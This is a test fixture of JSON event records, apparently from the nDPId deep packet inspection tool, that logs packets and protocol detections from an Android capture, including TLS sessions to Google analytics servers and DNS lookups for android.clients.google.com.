+02336{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":657605,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+0aYAAHUGVjOs2ajOwKgCEAG7xNCPRbjK\/OqYW4AQAPAyawAAAQEICmax\/+7\/\/zVXFgMDAE4CAABKAwNeUlhVGcr8B0rHO6b\/GCDsECzaxrb1DZZET1dOR1JEAQDALwAAIgAXAAD\/AQABAAALAAIBAAAjAAAAEAALAAkIaHR0cC8xLjEWAwMK7wsACusACugABpQwggaQMIIFeKADAgECAhEAoHWTPAFc8ygIAAAAAC5w1DANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMB4XDTIwMDIxMjExMzcwM1oXDTIwMDUwNjExMzcwM1owcDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBMTEMxHzAdBgNVBAMMFiouZ29vZ2xlLWFuYWx5dGljcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsjqQPYIy13aohxBJa9uxsCVQvXEygJmGQAXKdSWIB4Mx3+vfxyWREdR0fxBMuI+dRqwnGjHe+X69qUSw\/iDyzS4wH3PPj2hJhLOSqPbkVXYi4a1FQV4s65FPsz34RD9wcIYLllYLqAoEyUnNoh8Y7MLdrV48dBW2vS6LOIT7nONe1SVeVs+hHU423AQTJmwHvjZ9v90J\/37Uygpr5yN7Qr1YUVTz0g9RCo5JhouIED5uqoCnw9s1UEanNF3eo2KJA7xiXF4+rPOYHXJI+I4B1swv4lmftVNhJN5lTHckJnJvBFofyZWz5c2KsvolsX7XIVOPCCw6HmBzXRNRkTDzZAgMBAAGjggNRMIIDTTAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUJbP0dPtET7nk1pC7uZnV84BjsbowHwYDVR0jBBgwFoAUmNH4bhDrz5vsYJ8YkBug630J\/SswZAYIKwYBBQUHAQEEWDBWMCcGCCsGAQUFBzABhhtodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHMxbzEwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwggEWBgNVHREEggENMIIBCYIWKi5nb29nbGUtYW5hbHl0aWNzLmNvbYIKKi5mcHMuZ29vZ4ITYXBwLW1lYXN1cmVtZW50LmNvbYIIZnBzLmdvb2eCFGdvb2dsZS1hbmFseXRpY3MuY29tghJnb29nbGVvcHRpbWl6ZS5jb22CFGdvb2dsZXRhZ21hbmFnZXIuY29tghJzZXJ2aWNlLnVyY2hpbi5jb22CGHNzbC5nb29nbGUtYW5hbHl0aWNzLmNvbYIKdXJjaGluLmNvbYIYd3d3Lmdvb2dsZS1hbmFseXRpY3MuY29tghZ3d3cuZ29vZ2xlb3B0aW1pemUuY29tghh3d3cuZ29vZ2xldGFnbWFuYWdlci5jb20wIQYDVR0gBBowGDAIBgZngQwBAgIwDAYKKwYBBAHWeQIFAzAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vY3JsLnBraS5nb29nL0dUUzFPMS5jcmwwggECBgorBgEEAdZ5AgQCBIHzBIHwAO4AdQCyHgXMi6LNiiBOh2b5K7mKJSBna9r6cOeySVMt74uQXgAAAXA5ZxxLAAAEAwBGMEQCIGp+ch+ml1Z+2P0TpL2JC9EscUgS3U\/MGeFIVeTzrpxuAiBPPl62hWqFTci6xWjJgkPvjrSCn2SqIdPy94OXYSYCAwB1AF6nc\/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZY="} +00784{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":174,"source":"android.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1582454869517,"flow_last_seen":1582454869657,"flow_tot_l4_data_len":1811,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":301,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.168.206","src_port":50384,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"app-measurement.com","ja3":"6ec2896feff5746955f700c0023f5804","ja3s":"9d9ce860f1b1cbef07b019450cb368d8","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02348{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":657619,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+0acAAHUGVjKs2ajOwKgCEAG7xNCPRb5U\/OqYW4AQAPB2\/wAAAQEICmax\/+7\/\/zVXgXFFWAAAAXA5ZxxeAAAEAwBGMEQCIAlbEL4rwzkATincBXoDw\/uNnAYaFfEUvYBUtNjtT0Q\/AiBYbwovSFT18FB1KMB1EKUpO69zHXxsSkUzL9XG81tiyzANBgkqhkiG9w0BAQsFAAOCAQEANDfZQXf8foDoXrYCeRLaTSs\/hfoYGwjKLhN8HOFomPkcUSDRuIkeaWuZ+aElHPcMXOl3b9lqYkQwobrOCzkC8hafH1Ng2x\/rN\/PSANEq4vdbNtEkleNxOrly2SKnX7No4L+9OCkUEZ0t+9kY0LEhYJlQR5lwAwQ4qsEWK77xHC8SWL26gyh+UblnxrcTqMuxURb3AOUlAJzi9rop8XgnkwrZ5BJdbWQC728quL4ImIEDIIkED6Qg8KcPybOLITdX0hmIQe79p1S\/VdMvrTP3vzrp1aPNqqxQRuKsYAVIX\/eg+rPt9H1vMs00mVf5vdhfp1ZC\/ZEWnIu+etuZ4F235gAETjCCBEowggMyoAMCAQICDQHjtJqhjYqpgSVpULgwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xvYmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2JhbFNpZ24wHhcNMTcwNjE1MDAwMDQyWhcNMjExMjE1MDAwMDQyWjBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0BjPRdSLzdOc5EDvfrTdaSEbyc88jkx1uQ8xGYQ9njwp71ANEJNvBYCAnyqgvRJLAuE9n1gWJP4wnwt0d1WTHUv3TeGSghD2UawMw7IilA80a5gQSecLnYM53SDGHC3v0RhhZecjgyCoIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9Nn3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOg="} +00931{"flow_id":35,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":657623,"pkt_caplen":431,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":431,"pkt_l4_len":397,"pkt":"TGr2n\/YnxiwDYGpkCABFAAGh0agAAHUGWk6s2ajOwKgCEAG7xNCPRcPe\/OqYW4AYAPAVzQAAAQEICmax\/+\/\/\/zVXEFwIUhlRKnG7rHq13RXtK8kIKiyKtKYhq2P\/11JJUNCJt63yr\/tQri\/hlQ3zRq2dnPXKFgMDASwMAAEoAwAdIBn+u7QgqnpE1LaIjhrhz5RsAdpexaWtkaz2KsS2djRVCAQBAKuBytnRvHo1xi\/DDalS6JuO9Un0m4Q4hFFaCdDPRcf+DxgelaVEAOJJXJc5Kr1BoeDGWZPCUBEf9xJZFl5bw54vOoNzwG7eu2zciQbQ3hSeZ1MftsM\/9ne7\/EJMck9gPMKQNhfshZwTAQohP55Lo\/EsXQuB6vxPMXIzpQ\/bQ5vJy6WbJuna2X4N4UtISD3xtBHL31xPnPmgtQU45rY492OnLgDg3yODhe86N4bYw+QSjfAhSw8PXZSFeIw18glJsRXne8QBsmKBFjDrvMeNyONL1afRlV+RsdVuhMGJHdUbzR\/m0uoIAyXSnWohltFeX0Di9GvdD+NawHonq2jL+CQWAwMABA4AAAA="} +01278{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":176,"source":"android.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":8,"flow_first_seen":1582454869517,"flow_last_seen":1582454869657,"flow_tot_l4_data_len":3658,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":457,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.168.206","src_port":50384,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"app-measurement.com","server_names":"*.google-analytics.com,*.fps.goog,app-measurement.com,fps.goog,google-analytics.com,googleoptimize.com,googletagmanager.com,service.urchin.com,ssl.google-analytics.com,urchin.com,www.google-analytics.com,www.googleoptimize.com,www.googletagmanager.com","ja3":"6ec2896feff5746955f700c0023f5804","ja3s":"9d9ce860f1b1cbef07b019450cb368d8","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.google-analytics.com","alpn":"http\/1.1","fingerprint":"B0:D9:D3:57:C2:34:87:2C:FB:F5:E6:BD:7F:9F:54:65:08:61:AF:01"}} +00929{"flow_id":35,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":738399,"pkt_caplen":431,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":431,"pkt_l4_len":397,"pkt":"TGr2n\/YnxiwDYGpkCABFAAGh0dwAAHUGWhqs2ajOwKgCEAG7xNCPRcPe\/OqYW4AYAPAVfAAAAQEICmayAED\/\/zVXEFwIUhlRKnG7rHq13RXtK8kIKiyKtKYhq2P\/11JJUNCJt63yr\/tQri\/hlQ3zRq2dnPXKFgMDASwMAAEoAwAdIBn+u7QgqnpE1LaIjhrhz5RsAdpexaWtkaz2KsS2djRVCAQBAKuBytnRvHo1xi\/DDalS6JuO9Un0m4Q4hFFaCdDPRcf+DxgelaVEAOJJXJc5Kr1BoeDGWZPCUBEf9xJZFl5bw54vOoNzwG7eu2zciQbQ3hSeZ1MftsM\/9ne7\/EJMck9gPMKQNhfshZwTAQohP55Lo\/EsXQuB6vxPMXIzpQ\/bQ5vJy6WbJuna2X4N4UtISD3xtBHL31xPnPmgtQU45rY492OnLgDg3yODhe86N4bYw+QSjfAhSw8PXZSFeIw18glJsRXne8QBsmKBFjDrvMeNyONL1afRlV+RsdVuhMGJHdUbzR\/m0uoIAyXSnWohltFeX0Di9GvdD+NawHonq2jL+CQWAwMABA4AAAA="} +00556{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":778854,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkTGr2n\/YnCABFAACRPHVAAEAGfF3AqAIQrNkSA5AYAbuCdQjwxrmSxoAYAXTxaAAAAQEICv\/\/NWZRt9XXFgMDACUQAAAhIL1QAZblmBaS6MGJRISNBquGjHKHv6oBM9BlgurCo98yFAMDAAEBFgMDACgAAAAAAAAAAL6QL605fB1xUgS6LTyTDwho0hrG6v3MkF+xlS4sSJrG"} +00430{"flow_id":35,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":780647,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0oo9AAEAGf9TAqAIQrNmozsTQAbv86phbj0W+VIAQAWIXbgAAAQEICv\/\/NYBmsf\/u"} +00430{"flow_id":35,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":780755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0opBAAEAGf9PAqAIQrNmozsTQAbv86phbj0XD3oAQAW0R2QAAAQEICv\/\/NYBmsf\/u"} +00430{"flow_id":35,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":783803,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0opFAAEAGf9LAqAIQrNmozsTQAbv86phbj0XFS4AQAXgQXwAAAQEICv\/\/NYFmsf\/v"} +00445{"flow_id":35,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":783861,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkTGr2n\/YnCABFAABAopJAAEAGf8XAqAIQrNmozsTQAbv86phbj0XFS7AQAXgyQQAAAQEICv\/\/NYFmsgBAAQEFCo9Fw96PRcVL"} +00831{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":805890,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFYgUgAAHYGQMOs2RIDwKgCEAG7kBjGuZLGgnUJTYAYAPAZbwAAAQEIClG32KP\/\/zVmFgMDAOwEAADoAAGJvwDiAZR0wlJK56tqlFe1HOm0VMDTJM2hhMrtm7J4uhSs\/qnPqdRXnJ+VgZLiyJmE4KsUZvDqmgQgdO5Z1wTqybmaIKCbLIAAmMe1utrJGqwQyJOKFrCV7kr+wOwqwWo2+g3PdEQ3xSBcBnJmOaGhQYc\/CUME0DK1XMfXLgBnMFcDU3V20QhWCZvUNyfzrlwP97As5IeJ3tyCPnvO8q\/O+YVpvEtIRG5QL9oslDtncaaoPFmIYNB4MoxA3\/bD0Vj2H05VMWvj5A8BOftCxLlCncmLS8U6J4lHkRw\/\/6abGKcSiAX+khQDAwABARYDAwAoAAAAAAAAAABG1km8AJdd\/e5z1fhM4jtMgWneNY46Xy2oMvE6kT36dw=="} +00787{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":806789,"pkt_caplen":327,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":327,"pkt_l4_len":293,"pkt":"xiwDYGpkTGr2n\/YnCABFAAE5PHZAAEAGe7TAqAIQrNkSA5AYAbuCdQlNxrmT6oAYAX\/VywAAAQEICv\/\/NYdRt9ijFwMDAQAAAAAAAAAAAStS8At\/QoVUtoUj6L2do5lgir4oUPAfx7kSQkQ9JablyGUuyaf7e+jULj5ueO\/c3vMrlAB\/GoMM7hHRMYb5CV1MYvmpBTVNQzojFM\/JdnZI3\/aY+GufNmJpTQDD2W45YwjGyYBvcD6M98h2hRuugp7za4AXrGQvmHpq+eZgqoa69WHpCL2mEyA8LUDKvopJjeta1FvZ\/KadP3MeuTx1XAZfwXIbt6rPg1v+TkZlQ9mdpu0e2Uowkc6o4Mk6iHV0ekLu11xZvgjRa6WMYalpRFe2r1uOpJZSqFKgigawMj+gCXRIoHhXibvSVjT9hDngzW1d2YWelPVm"} +00557{"flow_id":29,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":842648,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkTGr2n\/YnCABFAACRA3tAAEAGsxDAqAIQrNkUSs0GAbvbqzgp1o6ZdYAYAW02EwAAAQEICv\/\/NY+9hJfuFgMDACUQAAAhINDcq7G2UaubeWr+qjIw+Q90gF+FynEaMlJRMek0ZxQtFAMDAAEBFgMDACgAAAAAAAAAACp713gMJqW5O+xHQnEjEnIUjBU\/TMV+DYKV1wD1oduv"} +00831{"flow_id":29,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":878778,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFYQZoAAHUGfyqs2RRKwKgCEAG7zQbWjpl126s4hoAYAPD6iQAAAQEICr2EnXT\/\/zWPFgMDAOwEAADoAAGJvwDiAZR0wlJK56tqlFe1HOm0VFhaiOcWtJZ43nf7eHsD2tyJ\/K8ndsT7\/moN+g+kqNoa96voAWR3X73z9F0sK2KRZoQ9VN6HNaYW+Llmhb+0VOgcE4Ch\/0maD\/B+wb0XHVFjEgoTLxKpa4r2EIurmjinfiWqsQ3xErD1BZzKNiSV8CvlpNJP3hvsK3HMgyDE6PQHkSLVMVv8S8BywaAe4ghg1aOL5+lpNM4cJv07v5epWwpZzHG2meHf5xzIJBrxdqcqYNqmzCnwuhMieNA1vJHA\/vF\/V4VZZDMtPzZhwQsnEqh\/JRQDAwABARYDAwAoAAAAAAAAAACaYR3799nn+p+nWgFSXGdBG3YKm8ZwEAm9gcVDhHHhhw=="} +00428{"flow_id":29,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454870,"pkt_ts_usec":51406,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0A3xAAEAGs2zAqAIQrNkUSs0GAbvbqziG1o6amYAQAXgMtAAAAQEICv\/\/NaC9hJ10"} +00730{"flow_id":29,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454870,"pkt_ts_usec":51431,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"xiwDYGpkTGr2n\/YnCABFAAEQA31AAEAGso\/AqAIQrNkUSs0GAbvbqziG1o6amYAYAXinsAAAAQEICv\/\/Nay9hJ10FwMDANcAAAAAAAAAAaUjp1pLq7doAXFoRPhZWR58fJOAnEpRkxO8Mv4ktuLmRQtiUMdV95mG4kqqPDHeqpzHA6lmvtKElK4xI9opiKbL06SgDrYtAygpdyYEy0vutTDREtFTwp2s6D\/1TaKOmK4EaXURmC4JPOM6tf0cu9yJSwwmhaxSsGEm8viYV3nmq19Hq6+xXInWS6B+ABplV3bV+VSZNMMbuy74K1cGTc0K+PtSRYBPu4w2wUEAYSMdI\/gxkypgBLQVpTzAZp4Mbxk2QPOSe48DI8gFybwi0A=="} +00829{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454870,"pkt_ts_usec":83405,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFYghgAAHYGP\/Os2RIDwKgCEAG7kBjGuZPqgnUKUoAYAPR1hwAAAQEIClG32bn\/\/zWHFwMDAR8AAAAAAAAAAQ7BhBG2DqqUMdwwsRseJG1rLbfoFfMGewoYmrVXALwA7JotYtDqBdPtWrARdP0z1AuCOC+kFPd\/t\/Cz4o\/KYIi1aMBLfMwwX7LmP2Xb8SYiD9VoTZSXEnGC8uXAjGSum\/ZcbiAhFwEHBotnLEOekifc6MgOgcJbQOoEw9EvxL+udMJ2Dbm25w09KdE5NQNAZruKREcbWqjnlkkXG\/IQj++BmW5eLSawGefGDc5FxLol9v0Cn8UbEjcC0ovNvBbu6AoKbdO6XhzsAhLW5IjlKz+nGVf5sZywenHdKYtgAWuGJf1ADfTw7bALT31Hp0ogHNXxDCVwmTy3Go6qvk3jm6sIDSU+6PxWH3ViVRmYZhPouOqlV5DGZQ=="} +00443{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454870,"pkt_ts_usec":649882,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8g2dAAEAG9TTAqAIQ2O8meMFmFGxVMrY\/AAAAAKAC\/\/9uQgAAAgQFtAQCCAr\/\/zZYAAAAAAEDAwg="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":200,"source":"android.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1582454870996,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":36613,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454870,"pkt_ts_usec":996454,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkTGr2n\/YnCABFAABIq6dAAEARCZzAqAIQwKgCAY8FADUANFCq5z4BAAABAAAAAAAAB2FuZHJvaWQHY2xpZW50cwZnb29nbGUDY29tAAABAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":200,"source":"android.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1582454870996,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":36613,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"dns": {"query":"android.clients.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454870,"pkt_ts_usec":998449,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"TGr2n\/YnxiwDYGpkCABFAABYgb0AAEARc3bAqAIBwKgCEAA1jwUARA+05z6BgAABAAEAAAAAB2FuZHJvaWQHY2xpZW50cwZnb29nbGUDY29tAAABAAHADAABAAEAAADaAATY7yZ4"} +00684{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":201,"source":"android.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":2,"flow_first_seen":1582454870996,"flow_last_seen":1582454870998,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":52,"flow_max_l4_data_len":68,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":36613,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"dns": {"query":"android.clients.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":202,"source":"android.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1582454871042,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32986,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":42436,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA83wxAAEAGmY\/AqAIQ2O8meIDaAbu5DOmwAAAAAKAC\/\/8p0AAAAgQFtAQCCAr\/\/za8AAAAAAEDAwg="} 